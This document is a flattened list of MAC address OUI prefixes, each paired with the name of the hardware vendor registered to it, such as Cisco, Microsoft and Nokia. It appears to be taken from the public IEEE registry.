0025C7 altek Corporation 0025C1 Nawoo Korea Corp. 0025BA Alcatel-Lucent IPD 0025B5 Cisco Systems, Inc 0025AE Microsoft Corporation 0025A8 Kontron (BeiJing) Technology Co.,Ltd 0025A7 Comverge, Inc. 00262B Wongs Electronics Co. Ltd. 002625 MediaSputnik 00261E QINGBANG ELEC(SZ) CO., LTD 002619 FRC 002612 Space Exploration Technologies 00260B Cisco Systems, Inc 00260C Dataram 0025FF CreNova Multimedia Co., Ltd 002606 RAUMFELD GmbH 0025F9 GMK electronic design GmbH 0025A2 Alta Definicion LINCEO S.L. 002596 GIGAVISION srl 00259B Beijing PKUNITY Microsystems Technology Co., Ltd 002595 Northwest Signal Supply, Inc 00258F Trident Microsystems, Inc. 002585 KOKUYO S&T Co., Ltd. 00257B STJELECTRONICSPVTLTD 002574 KUNIMI MEDIA DEVICE Co., Ltd. 00264F Krüger &Gothe GmbH 002648 Emitech Corp. 002644 Thomson Telecom Belgium 00263E Trapeze Networks 002638 Xia Men Joyatech Co., Ltd. 00263D MIA Corporation 002631 COMMTACT LTD 00256F Dantherm Power 002562 interbro Co. Ltd. 00255C NEC Corporation 00254F ELETTROLAB Srl 002518 Power PLUS Communications AG 002513 CXP DIGITAL BV 002505 eks Engel GmbH & Co. KG 0024F9 Cisco Systems, Inc 0024F2 Uniphone Telecommunication Co., Ltd. 0024ED YT Elec. Co,.Ltd. 0024E6 In Motion Technology Inc. 0024E1 Convey Computer Corp. 0024DF Digitalbox Europe GmbH 0024DA Innovar Systems Limited 002549 Jeorich Tech. Co.,Ltd. 002538 Samsung Electronics Co., Ltd., Memory Division 002542 Pittasoft 002530 Aetas Systems Inc. 002529 COMELIT GROUP S.P.A 002522 ASRock Incorporation 00251D DSA Encore, LLC 0025F5 DVS Korea, Co., Ltd 0025F0 Suga Electronics Limited 0025EA Iphion BV 0025E4 OMNI-WiFi, LLC 0025E0 CeedTec Sdn Bhd 0025DA Secura Key 0025D9 DataFab Systems Inc. 002410 NUETEQ Technology,Inc. 002409 The Toro Company 0023FD AFT Atlas Fahrzeugtechnik GmbH 0023F6 Softwell Technology Co., Ltd. 0023EC Algorithmix GmbH 0023E7 Hinke A/S 002387 ThinkFlood, Inc. 002381 Lengda Technology(Xiamen) Co.,Ltd. 00237B WHDI LLC 002372 MORE STAR INDUSTRIAL GROUP LIMITED 0024CE Exeltech Inc 0024D3 QUALICA Inc. 0024C7 Mobilarm Ltd 0024C2 Asumo Co.,Ltd. 0024BC HuRob Co.,Ltd 0024B7 GridPoint, Inc. 0024AB A7 Engineering, Inc. 0024A6 TELESTAR DIGITAL GmbH 00249A Beijing Zhongchuang Telecommunication Test Co., Ltd. 00249F RIM Testing Services 002487 Blackboard Inc. 002498 Cisco Systems, Inc 002485 ConteXtream Ltd 002480 Meteocontrol GmbH 00244A Voyant International 002449 Shen Zhen Lite Star Electronics Technology Co., Ltd 002443 Nortel Networks 002439 Digital Barriers Advanced Technologies 002479 Optec Displays, Inc. 00246D Weinzierl Engineering GmbH 002474 Autronica Fire And Securirty 002468 Sumavision Technologies Co.,Ltd 002466 Unitron nv 002461 Shin Wang Tech. 00245C Design-Com Technologies Pty. Ltd. 00244F Asantron Technologies Ltd. 0023BB Schmitt Industries 0023BA Chroma 0023B5 ORTANA LTD 00239B Elster Solutions, LLC 002396 ANDES TECHNOLOGY CORPORATION 002391 Maxian 00238C Private 002432 Neostar Technology Co.,LTD 002429 MK MASTER INC. 00241C FuGang Electronic (DG) Co.,Ltd 002428 EnergyICT 002416 Any Use 0023E0 INO Therapeutics LLC 0023DA Industrial Computer Source (Deutschland)GmbH 0023C8 TEAM-R 0023C7 AVSystem 0023C1 Securitas Direct AB 0021DC TECNOALARM S.r.l. 0021D6 LXI Consortium 0021CF The Crypto Group 0021C9 Wavecom Asia Pacific Limited 0021CA ART System Co., Ltd. 0021C3 CORNELL Communications, Inc. 002334 Cisco Systems, Inc 00232E Kedah Electronics Engineering, LLC 002329 DDRdrive LLC 002322 KISS Teknical Solutions, Inc. 002325 IOLAN Holding 002319 Sielox LLC 002270 ABK North America, LLC 002317 Lasercraft Inc 002310 LNC Technology Co., Ltd. 002273 Techway 002274 FamilyPhone AB 00226F 3onedata Technology Co. Ltd. 00226A Honeywell 002260 AFREEY Inc. 00225B Teradici Corporation 002256 Cisco Systems, Inc 002255 Cisco Systems, Inc 00224D MITAC INTERNATIONAL CORP. 002252 ZOLL Lifecor Corporation 002246 Evoc Intelligent Technology Co.,Ltd. 002366 Beijing Siasun Electronic System Co.,Ltd. 00236B Xembedded, Inc. 002359 Benchmark Electronics ( Thailand ) Public Company Limited 00235F Silicon Micro Sensors GmbH 002353 F E T Elettronica snc 00234C KTC AB 002304 Cisco Systems, Inc 0022F3 SHARP Corporation 0022EE Algo Communication Products Ltd 0022E7 WPS Parking Systems 0022E1 ZORT Labs, LLC. 0022E2 WABTEC Transit Division 0022DB Translogic Corporation 0022A1 Huawei Symantec Technologies Co.,Ltd. 00229B AverLogic Technologies, Inc. 00229C Verismo Networks Inc 002295 SGM Technology for lighting spa 00228E TV-NUMERIC 002289 Optosecurity Inc. 002282 8086 Consultancy 00227C Woori SMT Co.,ltd 002279 Nippon Conlux Co., Ltd. 00223C RATIO Entwicklungen GmbH 002236 VECTOR SP. Z O.O. 002230 FutureLogic Inc. 002229 Compumedics Ltd 00221D Freegene Technology LTD 002224 Good Will Instrument Co., Ltd. 002223 TimeKeeping Systems, Inc. 002216 SHIBAURA VENDING MACHINE CORPORATION 002217 Neat Electronics 002211 Rohati Systems 00220A OnLive, Inc 002204 KORATEK 0021FF Cyfrowy Polsat SA 0021F5 Western Engravers Supply, Inc. 0021EF Kapsys 0021EE Full Spectrum Inc. 0022D4 ComWorth Co., Ltd. 0022CA Anviz Biometric Tech. Co., Ltd. 0022C5 INFORSON Co,Ltd. 0022C0 Shenzhen Forcelink Electronic Co, Ltd 0022BB beyerdynamic GmbH & Co. KG 0022AE Mattel Inc. 0022AD TELESIS TECHNOLOGIES, INC. 0022A8 Ouman Oy 002132 Masterclock, Inc. 00212C SemIndia System Private Limited 002131 Blynke Inc. 00211F SHINSUNG DELTATECH CO.,LTD. 002120 Sequel Technologies 002125 KUK JE TONG SHIN Co.,LTD 002112 WISCOM SYSTEM CO.,LTD 001FB9 Paltronics 001FB7 WiMate Technologies Corp. 001FB8 Universal Remote Control, Inc. 001FB2 Sontheim Industrie Elektronik GmbH 001FAB I.S HIGH TECH.INC 001FA6 Stilo srl 001FA1 Gtran Inc 001F9C LEDCO 00215E IBM Corp 002151 Millinet Co., Ltd. 002152 General Satellite Research & Development Limited 002157 National Datacast, Inc. 00214B Shenzhen HAMP Science & Technology Co.,Ltd 002145 Semptian Technologies Ltd. 002144 SS Telecoms 00213C AliphCom 00213B Berkshire Products, Inc 002190 Goliath Solutions 002189 AppTech, Inc. 002184 POWERSOFT SRL 00217D PYXIS S.R.L. 002177 W. L. Gore & Associates 002176 YMax Telecom Ltd. 002171 Wesung TNC Co., Ltd. 002164 Special Design Bureau for Seismic Instrumentation 002103 GHI Electronics, LLC 001FFA Coretree, Co, Ltd 001FF5 Kongsberg Defence & Aerospace 001FF4 Power Monitors, Inc. 001FEE ubisys technologies GmbH 001FE7 Simet 001FDB Network Supply Corp., 001FD1 OPTEX CO.,LTD. 001FCA Cisco Systems, Inc 001FBE Shenzhen Mopnet Industrial Co.,Ltd 001F62 JSC Stilsoft 001F67 Hitachi,Ltd. 001F55 Honeywell Security (China) Co., Ltd. 001F56 DIGITAL FORECAST 001F4F Thinkware Co. Ltd. 001F48 Mojix Inc. 001F43 ENTES ELEKTRONIK 001F8E Metris USA Inc. 001F88 FMS Force Measuring Systems AG 001F81 Accel Semiconductor Corp 001B58 ACE CAD Enterprise Co., Ltd. 001F78 Blue Fox Porini Textile 001F6E Vtech Engineering Corporation 001F68 Martinsson Elektronik AB 0021BC ZALA COMPUTER 0021B7 Lexmark International Inc. 0021B0 Tyco Telecommunications 0021A4 Dbii Networks 00219A Cambridge Visual Networks Ltd 002196 TelseyS.p.A. 001E4B City Theatrical 001E47 PT. Hariff Daya Tunggal Engineering 001E41 Microwave Communication & Component, Inc. 001E2E SIRTI S.p.A. 001E27 SBN TECH Co.,Ltd. 001E28 Lumexis Corporation 001DF2 Netflix, Inc. 001DEB DINEC International 001DEC Marusys 001DE6 Cisco Systems, Inc 001DDA Mikroelektronika spol. s r. o. 001DDF Sunitec Enterprise Co., Ltd. 001DC7 L-3 Communications Geneva Aerospace 001DC0 Enphase Energy 001ED8 Digital United Inc. 001ED2 Ray Shine Video Technology Inc 001ED1 Keyprocessor B.V. 001ECC CDVI 001EC5 Middle Atlantic Products Inc 001EBF Haas Automation Inc. 001EB9 Sing Fai Technology Limited 001EB2 LG innotek 001F2E Triangle Research Int'l Pte Ltd 001F2D Electro-Optical Imaging, Inc. 001F27 Cisco Systems, Inc 001F14 NexG 001F1B RoyalTek Company Ltd. 001F0D L3 Communications - Telemetry West 001F0E Japan Kyastem Co., Ltd 001E22 ARVOO Imaging Products BV 001E1B Digital Stream Technology, Inc. 001E16 Keytronix 001E15 Beech Hill Electronics 001E11 ELELUX INTERNATIONAL LTD 001E05 Xseed Technologies & Computing 001E0C Sherwood Information Partners, Inc. 001DFE Palm, Inc 001DF9 Cybiotronics (Far East) Limited 001EAD Wingtech Group Limited 001EA2 Symx Systems, Inc. 001EA7 Actiontec Electronics, Inc 001EA1 Brunata a/s 001E9B San-Eisha, Ltd. 001E94 SUPERCOM TECHNOLOGY CORPORATION 001E8F CANON INC. 001E87 Realease Limited 001E80 Last Mile Ltd. 001EFC JSC MASSA-K 001F08 RISCO LTD 001EF5 Hitek Automated Inc. 001EFB Trio Motion Technology Ltd 001EE9 Stoneridge Electronics AB 001EEE ETL Systems Ltd 001E7B R.I.CO. S.r.l. 001E76 Thermo Fisher Scientific 001E6A Beijing Bluexon Technology Co.,Ltd 001E71 MIrcom Group of Companies 001E63 Vibro-Meter SA 001E5E COmputime Ltd. 001E57 ALCOMA, spol. s r.o. 001E51 Converter Industry Srl 001DB9 Wellspring Wireless 001DB4 KUMHO ENG CO.,LTD 001D9E AXION TECHNOLOGIES 001DA3 SabiOso 001D9D ARTJOY INTERNATIONAL LIMITED 001D45 Cisco Systems, Inc 001D3E SAKA TECHNO SCIENCE CO.,LTD 001D37 Thales-Panda Transportation System 001D32 Longkay Communication & Technology (Shanghai) Co. Ltd 001D2B Wuhan Pont Technology CO. , LTD 001D1F Siauliu Tauro Televizoriai, JSC 001D26 Rockridgesound Technology Co. 001D1A OvisLink S.A. 001D7A Wideband Semiconductor, Inc. 001D74 Tianjin China-Silicon Microelectronics Co., Ltd. 001D62 InPhase Technologies 001D61 BIJ Corporation 001D5B Tecvan Informática Ltda 001D54 Sunnic Technology & Merchandise INC. 001D4A Carestream Health, Inc. 001CE8 Cummins Inc 001CE4 EleSy JSC 001CDD COWBELL ENGINEERING CO., LTD. 001CDE Interactive Multimedia eXchange Inc. 001CD8 BlueAnt Wireless 001CD1 Waves Audio LTD 001CCB Forth Corporation Public Company Limited 001CC5 3Com Ltd 001D14 SPERADTONE INFORMATION TECHNOLOGY LIMITED 001D07 Shenzhen Sang Fei Consumer Communications Co.,Ltd 001D01 Neptune Digital 001CEE SHARP Corporation 001CF5 Wiseblue Technology Limited 001CB9 KWANG SUNG ELECTRONICS CO., LTD. 001CAF Plato Networks Inc. 001CB4 Iridium Satellite LLC 001C9F Razorstream, LLC 001C99 Shunra Software Ltd. 001C8C DIAL TECHNOLOGY LTD. 001C93 ExaDigm Inc 001C87 Uriver Inc. 001C82 Genew Technologies 001C1A Thomas Instrumentation, Inc 001C0E Cisco Systems, Inc 001C13 OPTSYS TECHNOLOGY CO., LTD. 001C07 Cwlinux Limited 001C00 Entry Point, LLC 001BF4 KENWIN INDUSTRIAL(HK) LTD. 001BEF Blossoms Digital Technology Co.,Ltd. 001BE2 AhnLab,Inc. 001C7D Excelpoint Manufacturing Pte Ltd 001C78 WYPLAY SAS 001C65 JoeScan, Inc. 001C67 Pumpkin Networks, Inc. 001C66 UCAMP CO.,LTD 001C60 CSP Frontier Technologies,Inc. 001C54 Hillstone Networks Inc 001C59 DEVON IT 001C4F MACAB AB 001C37 Callpod, Inc. 001C3C Seon Design Inc. 001C30 Mode Lighting (UK ) Ltd. 001C2B Alertme.com Limited 001C2A Envisacor Technologies Inc. 001C29 CORE DIGITAL ELECTRONICS CO., LTD 001C24 Formosa Wireless Systems Corp. 001C1F Quest Retail Technology Pty Ltd 001D97 Alertus Technologies LLC 001D90 EMCO Flow Systems 001D84 Gateway, Inc. 001D67 AMEC 001A93 ERCO Leuchten GmbH 001A98 Asotel Communication Limited Taiwan Branch 001A8E 3Way Networks Ltd 001A7D cyber-blue(HK)Ltd 001A82 PROBA Building Automation Co.,LTD 001A7C Hirschmann Multimedia B.V. 001A78 ubtos 001A7B Teleco, Inc. 001A71 Diostech Co., Ltd. 001A6C Cisco Systems, Inc 001A65 Seluxit 001B7D CXR Anderson Jacobson 001B71 Telular Corp. 001B6A Powerwave Technologies Sweden AB 001B65 China Gridcom Co., Ltd 001B5E BPL Limited 001B57 SEMINDIA SYSTEMS PRIVATE LIMITED 001B46 Blueone Technology Co.,Ltd 001B4B SANION Co., Ltd. 001BAD iControl Incorporated 001BA6 intotech inc. 001BA1 Åmic AB 001B93 JC Decaux SA DNT 001B95 VIDEO SYSTEMS SRL 001B9A Apollo Fire Detectors Ltd 001B94 T.E.M.A. S.p.A. 001B8E Hulu Sweden AB 001B89 EMZA Visual Sense Ltd. 001B8A 2M Electronic A/S 001B84 Scan Engineering Telecom 001BD1 SOGESTMATIC 001BD6 Kelvin Hughes Ltd 001BCF Dataupia Corporation 001BD0 IDENTEC SOLUTIONS 001BCA Beijing Run Technology LTD. Company 001BC3 Mobisolution Co.,Ltd 001BBE ICOP Digital 001BB4 Airvod Limited 001B14 Carex Lighting Equipment Factory 001B0D Cisco Systems, Inc 001B06 Ateliers R. LAUMONIER 001B08 Danfoss Drives A/S 001B01 Applied Radio Technologies 001AF5 PENTAONE. CO., LTD. 001AFA Welch Allyn, Inc. 001AE4 Medicis Technologies Corporation 001ADD PePWave Ltd 001AD1 FARGO CO., LTD. 001AD8 AlsterAero GmbH 001ACA Tilera Corporation 001ACC Celestial Semiconductor, Ltd 001AC5 BreakingPoint Systems, Inc. 001ABB Fontal Technology Incorporation 001AC0 JOYBIEN TECHNOLOGIES CO., LTD. 001A60 Wave Electronics Co.,Ltd. 001A55 ACA-Digital Corporation 001A5A Korea Electric Power Data Network(KDN) Co., Ltd 001A4E NTI AG / LinMot 001A53 Zylaya 001A42 Techcity Technology co., Ltd. 001A47 Agami Systems, Inc. 001A3B Doah Elecom Inc. 001B3F ProCurve Networking by HP 001B3A SIMS Corp. 001B2C ATRON electronic GmbH 001B27 Merlin CSI 001B20 TPine Technology 001B19 IEEE I&M Society TC9 001AB4 FFEI Ltd. 001AAF BLUSENS TECHNOLOGY 001AA8 Mamiya Digital Imaging Co., Ltd. 001A9F A-Link Ltd 001AA6 Telefunken Radio Communication Systems GmbH &CO.KG 00193F RDI technology(Shenzhen) Co.,LTD 001933 Strix Systems, Inc. 001938 UMB Communications Co., Ltd. 00192D Nokia Corporation 001926 BitsGen Co., Ltd. 001928 Siemens AG, Transportation Systems 00190E Atech Technology Co., Ltd. 001913 Chuang-Yi Network Equipment Co.Ltd. 001915 TECOM Co., Ltd. 00191A IRLINK 001993 Changshu Switchgear MFG. Co.,Ltd. (Former Changshu Switchgea 001998 SATO CORPORATION 00198E Oticon A/S 001980 Gridpoint Systems 00197B Picotest Corp. 001968 Digital Video Networks(Shanghai) CO. LTD. 00196D Raybit Systems Korea, Inc 00196F SensoPart GmbH 001952 ACOGITO Co., Ltd 001957 Saafnet Canada Inc. 001946 Cianet Industria e Comercio S/A 001944 Fossil Partners, L.P. 001A2F Cisco Systems, Inc 001A36 Aipermon GmbH & Co. KG 001A25 DELTA DORE 001A17 Teak Technologies, Inc. 001A19 Computer Engineering Limited 001A12 Essilor 001A0B BONA TECHNOLOGY INC. 001A06 OpVista, Inc. 0018CD Erae Electronics Industry Co., Ltd 0018D2 High-Gain Antennas LLC 0018D9 Santosha Internatonal, Inc 0018C1 Almitec Informática e Comércio 0018C8 ISONAS Inc. 0018BC ZAO NVP Bolid 0018B5 Magna Carta 0018AE TVT CO.,LTD 001902 Cambridge Consultants Ltd 001907 Cisco Systems, Inc 0018FD Optimal Technologies International Inc. 0018F1 Chunichi Denshi Co.,LTD. 0018EA Alltec GmbH 0018EC Welding Technology Corporation 0018E5 Adhoco AG 0018A2 XIP Technology AB 0018A9 Ethernet Direct Corporation 00189D Navcast Inc. 001893 SHENZHEN PHOTON BROADBAND TECHNOLOGY CO.,LTD 001898 KINGSTATE ELECTRONICS CORPORATION 001891 Zhongshan General K-mate Electronics Co., Ltd 00188C Mobile Action Technology Inc. 0019C8 AnyDATA Corporation 0019C3 Qualitrol 0019BE Altai Technologies Limited 0019BC ELECTRO CHANCE SRL 0019A4 Austar Technology (hang zhou) Co.,Ltd 0019A9 Cisco Systems, Inc 0019AB Raycom CO ., LTD 0019B0 HanYang System 0019FA Cable Vision Electronics CO., LTD. 0019FF Finnzymes 0019EC Sagamore Systems, Inc. 0019F3 Cetis, Inc 0019F8 Embedded Systems Design, Inc. 0019E5 Lynx Studio Technology, Inc. 0019E7 Cisco Systems, Inc 0019CD Chengdu ethercom information technology Ltd. 0019D4 ICX Technologies 0019D9 Zeutschel GmbH 001823 Delta Electronics, Inc. 001817 D. E. Shaw Research, LLC 00181E GDX Technologies Ltd. 001812 Beijing Xinwei Telecom Technology Co., Ltd. 001806 Hokkei Industries Co., Ltd. 00180B Brilliant Telecommunications 001805 Beijing InHand Networking Technology Co.,Ltd. 0017B8 NOVATRON CO., LTD. 0017BD Tibetsystem 0017B1 ACIST Medical Systems, Inc. 0017AA elab-experience inc. 0017AC O'Neil Product Development Inc. 0017A5 Ralink Technology Corp 0017A0 RoboTech srl 00170F Cisco Systems, Inc 001705 Methode Electronics 00170A INEW DIGITAL COMPANY 0016F9 CETRTA POT, d.o.o., Kranj 0016F7 L-3 Communications, Aviation Recorders 0016E6 GIGA-BYTE TECHNOLOGY CO.,LTD. 00178F NINGBO YIDONG ELECTRONIC CO.,LTD. 001794 Cisco Systems, Inc 00178D Checkpoint Systems, Inc. 00177C Smartlink Network Systems Limited 001781 Greystone Data System, Inc. 001788 Philips Lighting BV 00176C Pivot3, Inc. 001770 Arti Industrial Electronics Ltd. 001775 TTE Germany GmbH 001760 Naito Densei Machida MFG.CO.,LTD 001767 Earforce AS 00185A uControl, Inc. 00185F TAC Inc. 001861 Ooma, Inc. 001866 Leutron Vision 001853 Atera Networks LTD. 00184E Lianhe Technologies, Inc. 001847 AceNet Technology Inc. 00183B CENITS Co., Ltd. 001840 3 Phoenix, Inc. 001842 Nokia Danmark A/S 001825 Private 00182A Taiwan Video & Monitor 001836 Reliance Electric Limited 001759 Cisco Systems, Inc 001754 Arkino HiTOP Corporation Limited 001746 Freedom9 Inc. 001748 Neokoros Brasil Ltda 00174D DYNAMIC NETWORK FACTORY, INC. 001741 DEFIDEV 001733 SFR 00172E FXC Inc. 001727 Thermo Ramsey Italia s.r.l. 001722 Hanazeder Electronic GmbH 00171B Innovation Lab Corp. 001714 BR Controls Nederland bv 001716 Qno Technology Inc. 0017F4 ZERON ALLIANCE 0017F9 Forcom Sp. z o.o. 001800 UNIGRAND LTD 0017ED WooJooIT Ltd. 0017DA Spans Logic 0017E1 DACOS Technologies Co., Ltd. 0017D0 Opticom Communications, LLC 0017C4 Quanta Microsystems, INC. 001880 Maxim Integrated Products 00186D Zhenjiang Sapphire Electronic Industry CO. 001872 Expertise Engineering 001874 Cisco Systems, Inc 001879 dSys 001686 Karl Storz Imaging 00167F Bluebird Soft Inc. 001681 Vector Informatik GmbH 001674 EuroCB (Phils.), Inc. 001672 Zenway enterprise ltd 001666 Quantier Communication Inc. 00165F Fairmount Automation 0016AA Kei Communication Technology Inc. 0016AF Shenzhen Union Networks Equipment Co.,Ltd. 0016A5 Tandberg Storage ASA 001699 Tonic DVB Marketing Ltd 0016A0 Auto-Maskin 001692 Scientific-Atlanta, Inc. 001694 Sennheiser Communications A/S 00168D KORWIN CO., Ltd. 00165A Harman Specialty Group 001653 LEGO System A/S IE Electronics Division 00164C PLANET INT Co., Ltd 001647 Cisco Systems, Inc 001642 Pangolin 00163D Tsinghua Tongfang Legend Silicon Tech. Co., Ltd. 001631 Xteam 00162F Geutebrück GmbH 001630 Vativ Technologies 0015F5 Sustainable Energy Systems 0015F4 Eventide 0015EE Omnex Control Systems 0015F3 PELTOR AB 0015E7 Quantec Tontechnik 0015E2 Dr.Ing. Herbert Knauer GmbH 0015DD IP Control Systems Ltd. 0015D8 Interlink Electronics 0015CA TeraRecon, Inc. 001598 Kolektor group 001593 U4EA Technologies Inc. 00158C Liab ApS 001586 Xiamen Overseas Chinese Electronic Co., Ltd. 001585 Aonvision Technolopy Corp. 001587 Takenaka Seisakusho Co.,Ltd 001580 U-WAY CORPORATION 00157B Leuze electronic GmbH + Co. KG 001576 LABiTec - Labor Biomedical Technologies GmbH 00156A DG2L Technologies Pvt. Ltd. 00156F Xiranet Communications GmbH 0016DF Lundinova AB 0016DA Futronic Technology Co. Ltd. 0016D5 Synccom Co., Ltd 0016C9 NAT Seattle, Inc. 0016D0 ATech elektronika d.o.o. 0016BD ATI Industrial Automation 0016C2 Avtec Systems Inc 0016BB Law-Chain Computer Technology Co Ltd 00162A Antik computers & communications s.r.o. 001623 Interval Media 001617 MSI 00161E Woojinnet 00160D Be Here Corporation 001606 Ideal Industries 0015FA Cisco Systems, Inc 001563 Cisco Systems, Inc 001557 Olivetti 00155C Dresser Wayne 00154B Wonde Proud Technology Co., Ltd 001550 Nits Technology Inc 001545 SEECODE Co., Ltd. 00153E Q-Matic Sweden AB 0015BC Develco 0015B5 CI Network Corp. 0015B0 AUTOTELENET CO.,LTD 0015AB PRO CO SOUND INC 0015A6 Digital Electronics Products Ltd. 00159F Terascala, Inc. 001532 Consumer Technologies Group, LLC 001539 Technodrive srl 00152B Cisco Systems, Inc 00152D TenX Networks, LLC 00152C Cisco Systems, Inc 00151F Multivision Intelligent Surveillance (Hong Kong) Ltd 00151A Hunter Engineering Company 001515 Leipold+Co.GmbH 001510 Techsphere Co., Ltd 001453 ADVANTECH TECHNOLOGIES CO.,LTD 00144E SRISA 001442 ATTO CORPORATION 001449 Sichuan Changhong Electric Ltd. 00143D Aevoe Inc. 00143C Rheinmetall Canada Inc. 00143B Sensovation AG 001436 Qwerty Elektronik AB 0014AB Senhai Electronic Technology Co., Ltd. 0014B0 Naeil Community 0014A9 Cisco Systems, Inc 0014AA Ashly Audio, Inc. 00149D Sound ID Inc. 001498 Viking Design Technology 00148A Elin Ebg Traction Gmbh 001491 Daniels Electronics Ltd. dbo Codan Rado Communications 001485 Giga-Byte 00147E InnerWireless 001466 Kleinhenz Elektronik GmbH 00146B Anagran, Inc. 00145F ADITEC CO. LTD 001458 HS Automatic ApS 0014E6 AIM Infrarotmodule GmbH 0014E0 LET'S Corporation 0014D4 K Technology Corporation 0014D9 IP Fabrics, Inc. 0014CD DigitalZone Co., Ltd. 0014C1 U.S. Robotics Corporation 0014C6 Quixant Ltd 0014BA Carvers SA de CV 0014B5 PHYSIOMETRIX,INC 0013C7 IONOS Co.,Ltd. 0013C0 Trix Tecnologia Ltda. 0013B6 Sling Media, Inc. 0013AF NUMA Technology,Inc. 0013B0 Jablotron 0013AA ALS& TEC Ltd. 0013A3 Siemens Com CPE Devices 00139E Ciara Technologies Inc. 001502 BETA tech 001509 Plus Technology Co., Ltd 0014FD Thecus Technology Corp. 0014EF TZero Technologies, Inc. 0014F1 Cisco Systems, Inc 0014F0 Business Security OL AB 0014EA S Digm Inc. (Safe Paradigm Inc.) 0014E5 Alticast 001423 J-S Co. NEUROCOM 001419 SIDSA 001412 S-TEC electronics AG 001409 MAGNETI MARELLI S.E. S.p.A. 00140A WEPIO Co., Ltd. 0013FD Nokia Danmark A/S 0013F8 Dex Security Solutions 0013F1 AMOD Technology Co., Ltd. 0013F7 SMC Networks, Inc. 0013E7 Halcro 0013DB SHOEI Electric Co.,Ltd 0013CC Tall Maple Systems 001284 Lab33 Srl 00127E Digital Lifestyles Group, Inc. 001277 Korenix Technologies Co., Ltd. 001272 Redux Communications Ltd. 001271 Measurement Computing Corp 00126B Ascalade Communications Limited 001264 daum electronic gmbh 00125A Microsoft Corporation 00125F AWIND Inc. 001255 NetEffect Incorporated 00124E XAC AUTOMATION CORP. 001242 Millennial Net 001236 ConSentry Networks 00123B KeRo Systems ApS 001368 Saab Danmark A/S 00135C OnSite Systems, Inc. 001355 TOMEN Cyber-business Solutions, Inc. 001356 FLIR Radiation Inc 001350 Silver Spring Networks, Inc 001344 Fargo Electronics Inc. 001343 Matsushita Electronic Components (Europe) GmbH 00133D Micro Memory Curtiss Wright Co 00138B Phantom Technologies LLC 001390 Termtek Computer Co., Ltd 001376 Tabor Electronics Ltd. 00137B Movon Corporation 001382 Cetacea Networks Corporation 001387 27M Technologies AB 00136F PacketMotion, Inc. 001375 American Security Products Co. 001363 Verascape, Inc. 0012FA THX LTD 001301 IronGate S.L. 001307 Paravirtual Corporation 0012F5 Imarda New Zealand Limited 0012EB PDH Solutions, LLC 0012DE Radio Components Sweden AB 0012DD Shengqu Information Technology (Shanghai) Co., Ltd. 0012E4 ZIEHL industrie-electronik GmbH + Co KG 0012AF ELPRO Technologies 0012A8 intec GmbH 0012A2 VITA 0012A1 BluePacket Communications Co., Ltd. 00129C Yulinet 001290 KYOWA Electric & Machinery Corp. 001295 Aiware Inc. 00132A Sitronics Telecom Solutions 001331 CellPoint Connect 001336 Tianjin 712 Communication Broadcasting co., ltd. 001324 Schneider Electric Ultra Terminal 001314 Asiamajor Inc. 001319 Cisco Systems, Inc 00131A Cisco Systems, Inc 00130D GALILEO AVIONICA 001308 Nuvera Fuel Cells 00122F Sanei Electric Inc. 001235 Andrew Corporation 00122B Virbiage Pty Ltd 001212 PLUSCorporation 0012D8 International Games System Co., Ltd. 0012CB CSS Inc. 0012C5 V-ShowTechnology (China) Co.,Ltd 0012CC Bitatek CO., LTD 0012B4 Work Microwave GmbH 0012BB Telecommunications Industry Association TR-41 Committee 001206 iQuest (NZ) Ltd 00120B Chinasys Technologies Limited 00120C CE-Infosys Pte Ltd 0011FF Digitro Tecnologia Ltda 0011FA Rane Corporation 0011F0 Wideful Limited 0011EF Conitec Datensysteme GmbH 0011E9 STARNEX CO., LTD. 001187 Category Solutions, Inc 001182 IMI Norgren Ltd 001181 InterEnergy Co.Ltd, 00117B BüchiLabortechnik AG 00116F Netforyou Co., LTD. 001168 HomeLogic LLC 00115E ProMinent Dosiertechnik GmbH 001157 Oki Electric Industry Co., Ltd. 000FB2 Broadband Pacenet (India) Pvt. Ltd. 000FA5 BWA Technology GmbH 000FB1 Cognio Inc. 000FAC IEEE 802.11 000F9C Panduit Corp 000FA0 CANON KOREA BUSINESS SOLUTIONS INC. 000F97 Avanex Corporation 000F8A WideView 000F89 Winnertec System Co., Ltd. 000F90 Cisco Systems, Inc 000FD7 Harman Music Group 000FD1 Applied Wireless Identifications Group, Inc. 000FD2 EWA Technologies, Inc. 000FC4 NST co.,LTD. 000FCB 3Com Ltd 000FBF DGT Sp. z o.o. 000FB8 CallURL Inc. 0011DD FROMUS TEC. Co., Ltd. 0011E2 Hua Jung Components Co., Ltd. 0011CF Thrane & Thrane A/S 0011D6 HandEra, Inc. 0011D0 Tandberg Data ASA 0011CA Long Range Systems, Inc. 0011C3 Transceiving System Technology Corporation 0011B7 Octalix B.V. 0011BE AGP Telecom Co. Ltd 0011BD Bombardier Transportation 001105 Sunplus Technology Co., Ltd. 00110C Atmark Techno, Inc. 000FF9 Valcretec, Inc. 000FFA Optinel Systems, Inc. 000FFF Control4 000FF1 nex-G Systems Pte.Ltd 000FE4 Pantech Co.,Ltd 000FEA Giga-Byte Technology Co.,LTD. 000FE3 Damm Cellular Systems A/S 0011AB TRUSTABLE TECHNOLOGY CO.,LTD. 0011B0 Fortelink Inc. 0011A4 JStream Technologies Inc. 001198 Prism Media Products Limited 00119D Diginfo Technology Corporation 00119E Solectron Brazil 00118E Halytech Mace 001193 Cisco Systems, Inc 001152 Eidsvoll Electronics AS 00114F US Digital Television, Inc 001149 Proliphix Inc. 001142 e-SMARTCOMINC. 00113D KN SOLTEC CO.,LTD. 00113C Micronas GmbH 001136 Goodrich Sensor Systems 00112C IZT GmbH 001130 Allied Telesis (Hong Kong) Ltd. 00111F Doremi Labs, Inc. 001112 Honeywell CMSS 001118 BLX IC Design Corp., Ltd. 000F58 Adder Technology Limited 000F52 YORK Refrigeration, Marine & Controls 000F57 CABLELOGIC Co., Ltd. 000F45 Stretch, Inc. 000F46 SINAR AG 000F4B Oracle Corporation 000F37 Xambala Incorporated 000F3F Big Bear Networks 000F3B Fuji System Machines Co., Ltd. 000F31 Allied Vision Technologies Canada Inc 000F32 Lootom Telcovideo Network Wuxi Co Ltd 000F2B GREENBELL SYSTEMS 000E98 HME Clear-Com LTD. 000E93 Milénio 3 Sistemas Electrónicos, Lda. 000E8C Siemens AG A&D ET 000E86 Alcatel North America 000E80 Thomson Technology Inc 000E85 Catalyst Enterprises, Inc. 000E74 Solar Telecom. Tech 000E79 Ample Communications Inc. 000F24 Cisco Systems, Inc 000F12 Panasonic Europe Ltd. 000F18 Industrial Control Systems 000F11 Prodrive B.V. 000F0C SYNCHRONIC ENGINEERING 000EFF Megasolution,Inc. 000F00 Legra Systems, Inc. 000F05 3B SYSTEM INC. 